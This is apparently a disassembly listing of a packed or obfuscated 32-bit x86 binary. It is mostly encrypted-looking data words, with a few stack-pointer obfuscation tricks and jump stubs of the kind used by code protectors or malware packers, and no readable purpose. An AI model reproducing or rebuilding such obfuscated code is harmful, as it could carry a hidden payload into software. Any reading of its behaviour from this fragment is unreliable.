		dd 0CE20A7BCh, 9ABD49D2h, 0DA6A41EFh, 0BBh, 80267FC7h
		dd 129313F0h, 7DAE4194h, 60EA7A24h, 0D8D36343h,	3F921490h
		dd 81AE28F1h, 0DDC911B5h, 495D49C9h, 732B76F6h,	6E3071BBh
		dd 9A798ADEh, 30FE93A9h, 8403446Ch, 0A53699B8h,	0D86333A1h
		dd 9D912FF1h, 1FD277CAh, 0B6265367h, 0F2E3B6F0h, 1AAAFCAAh
		dd 0E3F9EA3Dh, 427B6C28h, 31796A1Dh, 0C29F2F6Fh, 6D367E6Fh
		dd 6C378139h, 0DC0F7C3Ah, 952D3ADBh, 0BDBDh, 405E4400h
		dd 3F673E88h, 3D693D87h, 39653B85h, 3A6C3781h, 0A75E1282h
		dd 0A8F2AAFCh, 0A5EFA7F7h, 0A5EFA7FFh, 0CAEAA2FCh, 7353B9CFh
		dd 8806B396h, 318D0C0Bh, 0AE21AF10h, 0E7BC3C8Fh, 0E4BD07BFh
		dd 7DA502BAh, 60EA7A24h, 91A55D41h, 68B0A160h, 2516693Dh
		dd 997A400Fh, 0B242F5BBh, 0BB417928h, 563E353Ch, 0C711C99Ch
		dd 6890A6DAh, 0DD4C6995h, 0E766572Ah, 9D7AF100h, 0F80EFF82h
		dd 4C69B110h, 0AF3F9245h, 7B9B3B57h, 72E7E32Bh,	0AA9B039Eh
		dd 0D2624462h, 0A0EAA2F5h, 830D9D01h, 4890811Dh, 64F44757h
		dd 3D9D868Ah, 38823A64h, 0CDA53569h, 0Ah, 0E2C40C30h, 45734C4h
		dd 257D1AB5h, 425FE979h, 6242CC5Ch, 752AB444h, 940F9929h
		dd 0ABF88212h, 0BFE16BFBh, 0E1C54FDFh, 0FAAB35C5h, 57391CACh
		dd 0C781E789h, 4, 4EF81h, 3C870000h, 4895C24h, 4716824h
		dd 2C890000h, 7FB96824h, 34890000h, 35BF5724h, 4F7DB86Ah
		dd 0EFC1E7D1h, 8FBB5306h, 1022A0Dh, 0FD895BDFh,	348B545Fh
		dd 4C48124h, 55000000h,	0BF243481h, 8F1CE912h, 0BA520846h
		dd 8, 3281F201h, 1CE912BFh, 24348B5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55B50E
; ---------------------------------------------------------------------------
		db 1Fh
		dd 0E5C1ABA7h, 17DBA9B8h, 0FFC50306h, 6CC6BDE0h, 0CCA1F135h
		dd 0E03E5200h, 2145AA19h, 93EC1B5Ah, 6B81209h, 9ADBF43Eh
		dd 9F970278h, 4631CE65h, 0A636D53Ah, 0BA4AD23Fh, 431B743Fh
		dd 9263318h, 9F7F8D04h,	9979B957h, 86A0646Fh, 46AE4B09h
		dd 72714B25h, 0C8DAE04Ch, 9D14CD19h, 0A3B13154h, 30A48838h
		dd 21409144h, 968D8D7Ah, 6A0617DDh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0ED51C352h
		dd 0F9E16A4h, 689h, 3D858900h, 31061210h, 1214E585h, 0A18D8906h
		dd 6A061209h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 0C76BC352h, 12050585h,	602006h
		dd 13E900h, 3D320000h, 7FC63B63h, 0A6E69FF9h, 77BE5EE0h
		dd 664AE052h, 0D985C775h, 6121Bh, 8B000000h, 1218F99Dh
		dd 69B5FF06h, 6A06122Ah, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0BF16C352h,	12BED2Eh
		dd 876F5EB3h, 48F0Fh, 0BE660000h, 95FF9F28h, 6121B31h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0D1C35545h
		dd 89A380BEh, 122055B5h, 0FF006A06h, 1219CD95h,	0EBC08B06h
		dd 0B9AE320Eh, 8CF70187h, 30CA1439h, 0E8E17A7Eh, 11h, 0AE309A0Bh
		dd 0A37FB0CFh, 0D147189Ah, 3FF4D540h, 6659F5AEh, 0C181DE8Bh
		dd 6D00h, 0A59D8B60h, 306121Bh,	122B1D8Dh, 31BA6106h, 810A846Dh
		dd 7BADDAC2h, 4DBD01F5h, 8B061214h, 299D8B01h, 8106120Dh
		dd 326DF5E8h, 0B1CB8166h, 815EED5Ah, 7F5BA3E8h,	8820F23h
		dd 60000000h, 66F1B70Fh, 8161DF8Bh, 3E4A08C0h, 0BEBE664Bh
		dd 0BF665007h, 18F414Dh, 1F918589h, 0E9810612h,	3F7D5FB6h
		dd 317DBD8Bh, 0C1810612h, 3F7D5FB2h, 6830Fh, 0B58B0000h
		dd 612261Dh, 1EA81h, 850F0000h,	1Bh, 3F3FEBBFh,	2AE957h
		dd 0D7E70000h, 7009952Eh, 335F5BCEh, 0FCDA4E0Eh, 8A8BC547h
		dd 0FF75E9DEh, 15C4FFFFh, 58C2F396h, 7346F4B6h,	0EF73C7BCh
		dd 0BEBD45F3h, 0DF638D8Dh, 6A0617h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0EC6A35C3h
		dd 114D9D89h, 8D0F0612h, 8, 0B9B58956h,	5806122Ch, 9A18D89h
		dd 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 16029C3h,	12057D8Dh, 0D68B6606h, 585C761h
		dd 88061205h, 6A00006Eh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0AE9FC350h,	0A3DE013Ch
		dd 2C959D8Bh, 85C70612h, 6121BD9h, 0
		dd 4D5B58Bh, 0B5FF0612h, 6121B85h, 61B58960h, 0E9061231h
		dd 14h,	0FD03923Bh, 92950135h, 0BD299D2Dh, 0EF7D573Ah
		dd 1B1CDCDDh, 3195FF61h, 0F06121Bh, 6AC7BFh, 19CD95FFh
		dd 0C08B0612h, 66BC28EBh, 913BE487h, 9EF037CBh,	5CC1D0A5h
		dd 32622616h, 0A7419C69h, 0D8E52ADh, 0B23363B5h, 0E6E5847Eh
		dd 0A1FDD74Ch, 50E9B293h, 0A5000000h, 179D7Ah, 57000000h
		dd 434AC51Ch, 0F9366148h, 88A7A5ADh, 0FB75528Ch, 9CBE00B7h
		dd 7EE5ADF9h, 9D8993h, 921DF4C7h, 0DE196063h, 8	dup(0)
		dd 0E9000000h, 0B00h, 17E0F268h, 0A00BE906h, 6268FFFAh
		dd 0E90617E2h, 0FFFAA001h, 17E36168h, 9FF7E906h, 1968FFFAh
		dd 0E90617E4h, 0FFFA9FEDh, 17E50C68h, 9FE3E906h, 0F68FFFAh
		dd 0E90617E6h, 0FFFA9FD9h, 17E6C068h, 9FCFE906h, 7B68FFFAh
		dd 0E90617E8h, 0FFFA9FC5h, 17E95E68h, 9FBBE906h, 6053FFFAh
		dd 726656F4h, 827A6A08h, 9C928220h, 0B3A89836h,	0E140AD4Bh
		dd 78167E73h, 8F2D9188h, 0A846A69Fh, 0C260BEB8h, 0C9F162C3h
		dd 0D07600E7h, 0EA5C6BBDh, 0E73EA80Fh, 0AB289268h, 57621A0h
		dd 69FF8C23h, 93691462h, 0AD9D3B99h, 0F75255B3h, 51C26DF4h
		dd 70164690h, 0E54C6FB9h, 0EED8B1FBh, 59EDBEB8h, 363099E3h
		dd 0FDA840D8h, 527AEB74h, 596FE94Ah, 0CFC9A10Bh, 5A30D371h
		dd 0BD95FF63h, 76265C3h, 0C4281D04h, 68321D7Bh,	82851D5Dh
		dd 60E9942Ch, 2A2D958Ah, 36F76AD4h, 5769FC0Fh, 0B850B0A9h
		dd 35286FC6h, 2A78A73h,	95Dh, 4A20E01h,	18B62014h, 30CE3028h
		dd 46E44A40h, 5BF96156h, 2C2193EEh, 3F3626C4h, 544D3DDBh
		dd 6C6656F4h, 1071700Eh, 0E7779Fh, 21738676h, 64BB150Fh
		dd 293C1310h, 0F32586Bh, 1BB3B880h, 31C92B23h, 207E782Eh
		dd 63FEED82h, 828A47B8h, 6DBB69FBh, 85ED196Ah, 4C2575FBh
		dd 0FD41986Ch, 4B88DE2Fh, 2E000000h, 35E0636Ah,	97016B5Fh
		dd 3011830Ch, 0ECB06796h, 50679E3h, 4469FB4Ch, 393C9E96h
		dd 8EF6EBE3h, 0F29D358Bh, 56C0261Ch, 3D340A73h,	0D0FC6FD9h
		dd 875FB34h, 5BCD4F2Fh,	89ECDABFh, 7552BCBEh, 0DE2FD61Eh
		dd 10C65h, 150F0B00h, 0F61D79BBh, 8820AA75h, 72DACF85h
		dd 61BFB96Fh, 8BE7E0B6h, 0BC696B32h, 4C4FE73Dh,	0F3A98CF6h
		dd 72FD9BF9h, 6FE9FE51h, 7A40360Ch, 81841C86h, 0EFE9C12Bh
		dd 903F391h, 19AC62AFh,	0F38720DCh, 0AD4D631Eh,	3F42DA24h
		dd 0B4DC4DD6h, 0BB6FE9FFh, 0FFC1E95Ah, 7AC86FE9h, 0F0FB78E2h
		dd 0CC3DC671h, 6FE9FFA4h, 68F35DABh, 0FBFF4EF7h, 73115F69h
		dd 0A954EFDEh, 10A10938h, 7C762470h, 2A857322h,	0BA521F27h
		dd 756961B7h, 56C8730Bh, 61D205B0h, 6FEFE039h, 1A5EF240h
		dd 5AE54F74h, 7C278F84h, 0C1271DF3h, 0EFB0062Eh, 5DC7156Fh
		dd 92FAEFDFh, 41678BA0h, 0D2775A79h, 7EDh, 74127E71h, 88269084h
		dd 0A03EA098h, 0B654BAB0h, 0CB69D1C6h, 9C91035Eh, 0AFA69634h
		dd 0C4BDAD4Bh, 0DCD6C664h, 80E1E07Eh, 0E9E70Fh,	91E3F676h
		dd 5A521A0Fh, 2CB560F8h, 144665BAh, 992C8979h, 6FE95C71h
		dd 42C02A78h, 5CFA5852h, 0E0636A08h, 11C3C435h,	9C4A69FBh
		dd 0E83E41A5h, 0EE44D50h, 630FBA14h, 0E084B53Eh, 85EF4548h
		dd 0FB67E612h, 65451E75h, 2FDB3A91h, 0D481DEh, 0F270000h
		dd 360CB715h, 85DBDE3Ch, 8D82381Bh, 0B0D12225h,	606FE905h
		dd 0C76A0866h, 39440255h, 0B21CE467h, 0D782E0DAh, 0A5A80801h
		dd 0A702E54Fh, 1721DA4h, 69FB4058h, 0D2751361h,	40B0D849h
		dd 71BF75FBh, 10C45FDDh, 0C52FC306h, 13BE4548h,	79E3453Dh
		dd 935F7DEEh, 64AE7010h, 951DA170h, 7F2AC21Ah, 0AE4CB4A9h
		dd 64F9990Bh, 0D21007B2h, 75DF77DBh, 4E40A89Dh,	79414A4Bh
		dd 0EE761BFEh, 70000006h, 8373117Dh, 9787258Fh,	0AF9F3D9Fh
		dd 0C5B553B9h, 5DCA68D0h, 339B9002h, 4AAEA595h,	63C3BCACh
		dd 7DDBD5C5h, 0E7FE0DFh, 7600EAE6h, 0F90E2F5h, 2414B21Ah
		dd 4B21CC2Ah, 785EF55h,	1E998E64h, 0E90785ADh, 0AE46946Fh
		dd 76A9203h, 23716FE9h,	0EA5C7DB9h, 68F60D6h, 0EFC7318Fh
		dd 0DE9497F5h, 5DE886E4h, 6FE97131h, 6D18ABA2h,	0FF4420FCh
		dd 76216F69h, 4447A7A0h, 23F984EEh, 3D2DCB29h, 643AE543h
		dd 0BB9E086Eh, 8CDA6D60h, 0BCC6BDAFh, 2D55C671h, 3C760068h
		dd 39AB56EEh, 431EB36Dh, 18CF62Fh, 130C0390h, 0D2C41270h
		dd 794242BDh, 36F09578h, 28000006h, 3B2BC935h, 4F3FDD47h
		dd 6757F557h, 7D6D0B71h, 15822088h, 0EB5348BAh,	2665D4Dh
		dd 1B7B7464h, 35938D7Dh, 0C6379897h, 7600EB9Eh,	0F489AADh
		dd 0FEB4B715h, 0E8524604h, 0D6CFA550h, 721D7376h, 0E907D901h
		dd 2892E06Fh, 14862945h, 578CA3DDh, 0F7980297h,	9B0C9517h
		dd 6FE94973h, 0EAC22C7Ah, 11E792F0h, 5EB4B719h,	2A8176F4h
		dd 1FD81DBDh, 0FBA44CADh, 1F89C7DEh, 7E6h, 0A8208C00h
		dd 0CE000001h, 0E9074874h, 2FB2B96Fh, 2D25FB84h, 25EE61CBh
		dd 7469FEDAh, 0ABA57B26h, 5130A24Dh, 0D34C0824h, 0CF392D25h
		dd 8E0C76CCh, 9B46A49Eh, 1079A112h, 32807600h, 0A7CE5C8h
		dd 0D3236072h, 9D1A847Eh, 0B4A117AEh, 84187A72h, 0C159A130h
		dd 9518A516h, 0CB3D7012h, 6DAD27FEh, 0D1B01A39h, 0C7CA2A23h
		dd 0A6E7D971h, 83794223h, 543FBA0h, 281B0000h, 3A2E1EBCh
		dd 4A4232D0h, 645A4AE8h, 7B7060FEh, 0A9087513h,	40DE463Bh
		dd 57F55950h, 700E6E67h, 8A288680h, 91B92A8Bh, 987600ECh
		dd 150F3385h, 0D94BB4B7h, 150FA5C4h, 0CA5EB4B7h, 0B6201E75h
		dd 273E4DEh, 6FE9CBDAh,	0A79B93E1h, 86A2A53Dh, 241EEDCDh
		dd 138528C6h, 39CEB881h, 25026C01h, 0D81E59CEh,	8FF9EDC3h
		dd 93CC368Ch, 7, 0C12039h, 6ACE0000h, 0C435E063h, 69FED9E2h
		dd 4DB7AB81h, 0F4F76155h, 0F455349Eh, 0E65B83h,	7C146276h
		dd 9F05FBD1h, 11155A0Bh, 9C06D151h, 0E3413B11h,	0FD5B5545h
		dd 22847C52h, 0FA6CD5B8h, 0FC1AAF63h, 0AD1CADBEh, 1349604Bh
		dd 9994117Bh, 91895F0Ah, 6CD62C2Fh, 6DAF70E1h, 90DE7016h
		dd 0B7150FE5h, 12AE9A0Ch, 0E19443E7h, 0E9554870h, 7109576Fh
		dd 9F998907h, 0E8E33E41h, 7C3DAE59h, 8D69FB64h,	0B2364D3Fh
		dd 0FCDF7335h, 44057h, 0BF2B1E00h, 0D33D3121h, 0EB4D4535h
		dd 1675D4Dh, 167E7363h,	3EAC0B78h, 5343E149h, 6A5AF85Ch
		dd 83731171h, 8E8D2B89h, 0ED94BC2Dh, 889B7600h,	1202036h
		dd 6ACE0000h, 0C435E063h, 69FED9E2h, 403BE32Dh,	7D1CF470h
		dd 0DBB13AE5h, 0C57B7EE6h, 0F6568D0h, 3B350D77h, 554F3FDDh
		dd 0D14B73E4h, 4527600h, 7700696Ch, 0D1DE06h, 0A79FED76h
		dd 63E04AB2h, 0A52ED968h, 0D10C34h, 0C2201A76h,	0BC6A69BFh
		dd 0B6164C2h, 0D7E0973h, 7016A44Ch, 0AE842F7Dh,	0C8B856B4h
		dd 126D70CEh, 6CDD881Bh, 69FB2BABh, 0CFA294E2h,	2A73360Ah
		dd 38FA247h, 0DCCF0000h, 0EEE2D270h, 0FEF6E684h, 180EFE9Ch
		dd 2F2414B2h, 5DBC29C7h, 0F492FAEFh, 0BA90D04h,	24C2221Bh
		dd 3EDC3A34h, 456DDE3Fh, 547600EDh, 150FEF41h, 4FEB4B7h
		dd 0E487A3A6h, 8EE8DF72h, 0E78DECDh, 0C4BE8D6Dh, 0C132BB66h
		dd 6FE90F99h, 6AE852A0h, 9DF7F1C7h, 0B00B855Ch,	0E14BE3F7h
		dd 1DA4AD04h, 3CF4D8h, 6A9A0000h, 0C435E063h, 69FB4BEBh
		dd 6339E432h, 0E06B096Bh, 75FB54B3h, 0F41C8D16h, 0FB75FB54h
		dd 8B3CDCB1h, 0BC548223h, 22807A52h, 3A9C9484h,	1F8CE37h
		dd 0DA449A9Dh, 2EC13h, 160FC100h, 3FDB3B6h, 2A24FAA5h
		dd 973C9CCh, 43A19B8Bh,	0D2908A40h, 227477DBh, 378759DEh
		dd 30C8605Bh, 0E0B31385h, 1D6964E8h, 0ADA035B3h, 3DFA6B16h
		dd 4C69FBD5h, 0BC92FBFEh, 0A6063C3h, 0B3012DA0h, 603975FBh
		dd 2B55AC80h, 339CDE30h, 42000000h, 0FAE4636Ah,	0E4DAAF02h
		dd 0D94AF58Dh, 69FB42D8h, 0CF202371h, 75FB2DA3h, 585BC5B9h
		dd 4245ADA2h, 0DF4E2EE5h, 7C503009h, 0DE2FA125h
		dd 0CD6Ch, 150F1200h, 754BB4B7h, 0D9B11B7Dh, 0C1251CE4h
		dd 76702629h, 655F1518h, 0BDDE6907h, 536FE905h,	6D5DFB59h
		dd 0B7121573h, 0D51931B4h, 9056E552h, 23DC4DF8h, 2A69FBB1h
		dd 0A2A93EDCh, 6D03741Fh, 4701057h, 0D0D3372Eh,	0D031107Ah
		dd 0EF07375Fh, 60F8466Fh, 93BB2CB5h, 9A6FEF07h,	941CE550h
		dd 0CC64F631h, 17056238h, 0FF69A73Eh, 1D15EB74h, 0F862B8BBh
		dd 25C32B20h, 70561082h, 0EA7C6103h, 388E91F1h,	695E36A0h
		dd 56580F01h, 0AA8D7941h, 1D405h, 2B978A00h, 3FA99D8Dh
		dd 57B9B1A1h, 6DD3C9B9h, 82EADFCFh, 0AA1877E4h,	0BFAF4DB5h
		dd 0D6C664C8h, 0EFDF7DDDh, 0FAF997F5h, 0EF002899h, 0FC0F7600h
		dd 0B21A0FAAh, 0CC2A2414h, 636ADA2Eh, 0C3C435E0h, 4A69FB11h
		dd 7CA8F9FCh, 0B475FB1Eh, 0F079FBDBh, 0FB1E577Fh, 0AE186675h
		dd 2F917AD1h, 0BBC1DEh,	0A6180000h, 7E0B8E62h, 83BF298Ch
		dd 0B4B7150Fh, 9EA109FEh, 0E9052C4Dh, 2CEAE46Fh, 16CCCF37h
		dd 8C24BC1Eh, 0A604FEEEh, 0C24548A3h, 6401E448h, 0B0B1137Ah
		dd 27E372FEh, 0C34CF78Fh, 8D90F8EDh, 0A15ACD37h, 0A869FB5Dh
		dd 9D3DAF5Ah, 2AD1CEA0h, 4068D984h, 4F75FBFEh, 84199701h
		dd 0C64FFA89h, 0FBFE2D55h, 84EE3C75h, 0A55188F9h, 2E7C7010h
		dd 50B8AD83h, 65CDC2B2h, 41B47273h, 5F04E779h, 0F1h, 700E7A6Dh
		dd 84228C80h, 9C3A9C94h, 0B250B6ACh, 0C765CDC2h, 988DFF5Ah
		dd 0ABA29230h, 0C0B9A947h, 0D8D2C260h, 7CDDDC7Ah, 0F0E30Bh
		dd 85D7EA76h, 14B21A0Fh, 2ECC2A24h, 0B7150FDAh,	0A604FEB4h
		dd 89787308h, 0E8932B95h, 0FED9BE77h, 7E81CF69h, 0C570CEC8h
		dd 3F33F9EFh, 0E47CD2D5h, 120CFC7Ah, 0BF48B1B4h, 0E6264Eh
		dd 0DF473C76h, 0B52892E0h, 847B76F7h, 6B65231Dh, 1CB40A0Dh
		dd 0C1C0C719h, 42011177h, 0EAED554Ah, 25F4D493h, 72C8CB2Dh
		dd 0A4843BDAh, 0D27DDBD5h, 349E08FCh, 6ECCC6B6h, 46BFB56Bh
		dd 86E3ADD5h, 779F1087h, 868786E3h, 53EB3938h, 3DA59A50h
		dd 2C8A843Ah, 2C0CC529h, 856524BDh, 0D0382D03h,	350D77CDh
		dd 4F3FDD3Bh, 764CF755h, 0CEB11B7Fh, 1429h, 0A95D700h
		dd 0F6414798h, 37A8688Eh, 6FE9BC0Fh, 0CE38D01Eh, 0B01C0F92h
		dd 9FFDF7ADh, 8DEDE69Ch, 79DDD48Ah, 63CBC076h, 4DB5AA60h
		dd 389E944Ah, 25877F35h, 0E786C22h, 89504D0Bh, 405E0h
		dd 0E8830000h, 24048704h, 5624248Bh, 0C681E689h, 4, 4EE81h
		dd 34870000h, 2C895C24h, 33046824h, 0C890000h, 68535024h
		dd 4E6E6807h, 3DC3815Bh, 89B7A978h, 0C5895BD8h,	0C8B5458h
		dd 4C48124h, 68000000h,	1EB7h, 89241489h, 85189EAh, 2434FF5Ah
		dd 4C48359h, 5D2434FFh,	4C481h,	1AE90000h, 21FFFA95h, 2C20DEECh
		dd 17EA74B8h, 0FFC50306h, 9B9F8FE0h, 6676F052h,	7D4F4614h
		dd 0C12C6709h, 0E5BEB06Fh, 128EC711h, 98092718h, 0BF9CD26Bh
		dd 4DD1BE69h, 0F4308363h, 88DC3E13h, 0FC407366h, 2226946Fh
		dd 6E334636h, 61581341h, 2D099B4Fh, 3A210B4Dh, 0E512B5Ah
		dd 24EB74h, 8 dup(0)
		dd 0E9000000h, 0BDh, 0EB3DB589h, 858B0617h, 61207ADh, 2F8D858Bh
		dd 0B58D0612h, 617EB87h, 4986858Dh, 0D0FF0615h,	0E855C3h
		dd 5D000000h, 0EB8DED81h, 0BD830617h, 61207ADh,	2C850F01h
		dd 0FF000000h, 17EB3DB5h, 8D858B06h, 3506122Fh,	34812736h
		dd 13CD0FFh, 0A850Fh, 1B80000h,	0E9000000h, 47h, 40E9C033h
		dd 6A000000h, 41B58D1Ch, 560617EBh, 0EB3DB5FFh,	858B0617h
		dd 6122F8Dh, 81273635h,	83D0FF34h, 0B58D0CC4h, 617EB41h
		dd 8314468Bh, 0F88304E0h, 7840F04h, 33000000h, 5E9C0h
		dd 1B80000h, 83000000h,	1207ADBDh, 850F0106h, 7, 2E9C35Dh
		dd 5D000000h, 66858DCFh, 890617EBh, 120ED585h, 0BEE906h
		dd 0BC110000h, 945D8Dh,	50000h,	10000h,	0A280000h, 20000h
		dd 2Ah dup(0)
		dd 0A6CE9h, 0EE5E6800h,	0FEE90617h, 68FFFA92h, 617EF4Eh
		dd 0FA92F4E9h, 0F02368FFh, 0EAE90617h, 68FFFA92h, 617F082h
		dd 0FA92E0E9h, 0F18968FFh, 0D6E90617h, 68FFFA92h, 617F1E4h
		dd 0FA92CCE9h, 0F4B368FFh, 0C2E90617h, 68FFFA92h, 617F5BAh
		dd 0FA92B8E9h, 0F76356FFh, 0B756959h, 23857D6Dh, 399F9585h
		dd 4EB6AB9Bh, 76E443B0h, 8B7B1981h, 0A2923094h,	0BBAB49A9h
		dd 0C6C563C1h, 0F4CCF465h, 0C0D37600h, 0B7150F6Eh, 4604FEB4h
		dd 0C03FF24Ch, 0F38A466Eh, 6A02585Bh, 9A3437CCh, 0E95E0129h
		dd 22BA086Fh, 75490677h, 2A7869FBh, 0DD4CBE27h,	0CF2F2880h
		dd 2EE276CCh, 76E95366h, 75FB874Ah, 0F5C9A982h,	0DE2FFE9Eh
		dd 2CAA2193h, 2CA487E1h, 2789C2h, 0AE00000h, 53A9AC16h
		dd 636AADE9h, 0C3C435E0h, 4A69FB11h, 7CA8F9FCh,	0B475FB1Eh
		dd 0D027FBDBh, 17DE2F91h, 0B9h,	0B7150FBDh, 4109FEB4h
		dd 90E6E947h, 453FF5F8h, 342EE4E7h, 80188276h, 2B457E2h
		dd 0CFA56FE9h, 310973D9h, 0B628DD37h, 1D746A5Fh, 3C68DA85h
		dd 6325592Dh, 0FE96FCF2h, 2C261694h, 594D23CEh,	2C96ECEFh
		dd 64FFEE49h, 0BC9F48B9h, 60AE69FBh, 0A33E2DC2h, 5F5887F8h
		dd 27757010h, 49B1A67Ch, 5EC6BBABh, 4207346Ch, 9B402379h
		dd 853h, 700E7A6Dh, 84228C80h, 9C3A9C94h, 0B250B6ACh, 0C765CDC2h
		dd 988DFF5Ah, 0ABA29230h, 0C0B9A947h, 0D8D2C260h, 7CDDDC7Ah
		dd 0F5E30Bh, 85D7EA76h,	14B21A0Fh, 2ECC2A24h, 7614198Bh
		dd 15BA6643h, 8FC4779Bh, 0B822BA17h, 0E0636A7Ch, 11C3C435h
		dd 9C4A69FBh, 930A46A4h, 0A0D0F733h, 4AF0508h, 0FB116B93h
		dd 8C247275h, 110C3889h, 6B4475FBh, 8560B78Bh, 0C4A7DE2Fh
		dd 4D000000h, 0B4B7150Fh, 0F6A109FEh, 7D4FC6Dh,	8DDB6FE9h
		dd 4CEF4023h, 0C06FE903h, 0DACA68C6h, 247F82E0h, 7EEF9A29h
		dd 69FB0AD5h, 0A8CEC638h, 2CE57B7Fh, 64D33598h,	0C32D697Ch
		dd 15EB96E4h, 63B9BC1Ch, 0E7E67BF9h, 2240B15Ch,	0ED701060h
		dd 341D07A3h, 53EB71BAh, 7AD8D2A8h, 0BAAF8510h,	3B11B452h
		dd 84DADD47h, 0E54D421Ah, 4188ABF3h, 18BDA079h,	763h, 60FE6A5Dh
		dd 74127C70h, 8C2A8C84h, 0A240A69Ch, 0B755BDB2h, 887DEF4Ah
		dd 9B928220h, 0B0A99937h, 0C8C2B250h, 6CCDCC6Ah, 0F6D3FBh
		dd 75C7DA76h, 14B21A0Fh, 21CC2A24h, 8452D7AFh, 0D2432D23h
		dd 6FE9EFAAh, 61CB63B1h, 746A40E3h, 0F68A40Eh, 0FA625715h
		dd 609A1F7h, 5AF85650h,	903BC6C5h, 0FEEBBB1Fh, 0DC80CA69h
		dd 987A89C5h, 14EA952Dh, 931EBC1Ah, 760043DBh, 2BD66564h
		dd 683C2FB9h, 0D77F9CEh, 0DBF03D8Fh, 35A651D0h,	70125B98h
		dd 9A701B69h, 0FBD53FA3h, 26F6BBA8h, 22A1ACFCh,	28F10677h
		dd 6210FDC9h, 5A82F36Ch, 6105C8C9h, 22787B13h, 212C878Ah
		dd 2D86F7A2h, 5CFFDC3Ch, 938D630Eh, 0ADA79735h,	62375D4Fh
		dd 1D00E57Dh, 68E78h, 0D33F3200h, 0E7514535h, 0FF615949h
		dd 157B7161h, 2A928777h, 52C01F8Ch, 6757F55Dh, 7E6E0C70h
		dd 97872585h, 0A2A13F9Dh, 0F7A8D041h, 0A4B77600h, 0E0636A52h
		dd 0E2D6AC35h, 0CBBF7578h, 70085E61h, 0EB2F9306h, 105E69FEh
		dd 319B8F65h, 45AFA393h, 34928C42h, 30334042h, 53F8DB73h
		dd 62Fh, 94329E91h, 0A846B0A4h,	0C05EC0B8h, 0D674DAD0h
		dd 0EB89F1E6h, 0BCB1237Eh, 0CFC6B654h, 0E4DDCD6Bh, 0FCF6E684h
		dd 0A001009Eh, 0F7072Fh, 0B1031676h, 35E0636Ah,	0FEEB60C4h
		dd 0B661AF69h, 0EA88E6E0h, 1CC75A55h, 0F3FA2293h, 0B3017600h
		dd 0F660C4BBh, 0F3BEFA6Bh, 7FCD7600h, 0F2FE2B7Ch, 5F387600h
		dd 6B54AB7Fh, 3D9BDE35h, 41000000h, 31DC6F6Ah, 70F37A8h
		dd 0D01E6FE9h, 78CB425h, 45936FE9h, 0ABDF50DBh,	0BA6FE907h
		dd 0EC18696Ch, 246FE907h, 2F958B61h, 704424C5h,	0D81D7F19h
		dd 760h, 9C200600h, 0CE000001h,	754B82ADh, 33B01A7Eh, 8DFEA938h
		dd 69FB2EF0h, 5228D321h, 0B28CF65Ch, 55D1DD5Fh,	0EDE6BCC6h
		dd 0CA348A8Dh, 18C35E4Dh, 0B3BD92A7h, 22257313h, 923DC4C7h
		dd 0A731C821h, 0D883D119h, 0CAA0802h, 40B1221Ch, 19A8CF18h
		dd 0BD2ED927h, 19A8CF95h, 0CCBE56A4h, 0CF8856ACh, 28D3785Bh
		dd 98000005h, 0AB9B39A5h, 0BFAF4DB7h, 0D7C765C7h, 0EDDD7BE1h
		dd 85F290F8h, 5BC3B82Ah, 72D6CDBDh, 8BEBE4D4h, 0A503FDEDh
		dd 36A70807h, 7600F80Eh, 0FB80A1Dh, 4BB4B715h, 1A1D7B75h
		dd 0EEDD5AC4h, 9497FDF3h, 8AFBA63Eh, 69FB199Dh,	0D0C05EACh
		dd 0F08678D6h, 0B7335FFh, 4CD8328h, 0F30000h, 1206F694h
		dd 221A0AA8h, 3C3222C0h, 534838D6h, 81E04DEBh, 18B61E13h
		dd 2FCD3128h, 48E6463Fh, 62005E58h, 69910263h, 707600F8h
		dd 150F0B5Dh, 4FEB4B7h,	0E487A3A6h, 2C8C855Bh, 1840D329h
		dd 276FE907h, 0EECE6FD9h, 7367251Fh, 0DED37109h, 0D81D7E87h
		dd 53CEh, 865C7400h, 47C42E8Ch,	0CC38AA44h, 56AB8991h
		dd 891D45D8h, 3D336FE9h, 0F28AD8D7h, 9641D647h,	92E069FBh
		dd 2C9D268Fh, 75FB9E04h, 0B5B41E12h, 5E8AFD67h,	7475FB9Eh
		dd 5D131680h, 45A79F69h, 9453AAADh, 966F45B4h, 118BE2B6h
		dd 34D2DE30h, 78000000h, 35E0636Ah, 0FB4BEBC4h,	33148669h
		dd 9F746A93h, 8AD8B721h, 0AB1509DFh, 9F946A0Dh,	74DE3437h
		dd 0FB49D401h, 94F2EC75h, 0A81206F6h, 3ED00A5h,	5CAE0000h
		dd 0ED2E9086h, 83D9CCAh, 77CDD068h, 69D900Dh, 0B69DEA5Bh
		dd 9EEC69FBh, 8DEBE59Bh, 96762D8Ah, 0ED982B22h,	426ADB64h
		dd 4975FBAAh, 0D11E91FBh, 0E0700DACh, 0B4E60E7Fh, 0A7F56FE9h
		dd 8781710Fh, 0C0CB2629h, 370D9641h, 174DE3Eh, 69FBC358h
		dd 92681361h, 0DE34379Bh, 913A9174h, 5C5FC5BBh,	1BFB9C06h
		dd 6ACEC399h, 0C0617028h, 71DB738Dh, 0A3419F99h, 0D9841F0Eh
		dd 0D765368h, 6164B270h, 0C92922F8h, 2F8D875Fh,	3616D52Ch
		dd 80EADEB4h, 392F277Dh, 0E1EC69D3h, 3146B762h,	0D069FB61h
		dd 2CC42E22h, 2C22F881h, 620B33C6h, 641275FBh, 0AE04076Fh
		dd 3E2EAC16h, 0B23BE644h, 0FB621941h, 78722075h, 3518821Ah
		dd 1F228A7Fh, 0C0F7169h, 0F8FB5F56h, 9302E2A1h,	0DB5D3DF4h
		dd 62B9E152h, 72C075FBh, 0D8363008h, 1BA6A53Ah,	7156FF70h
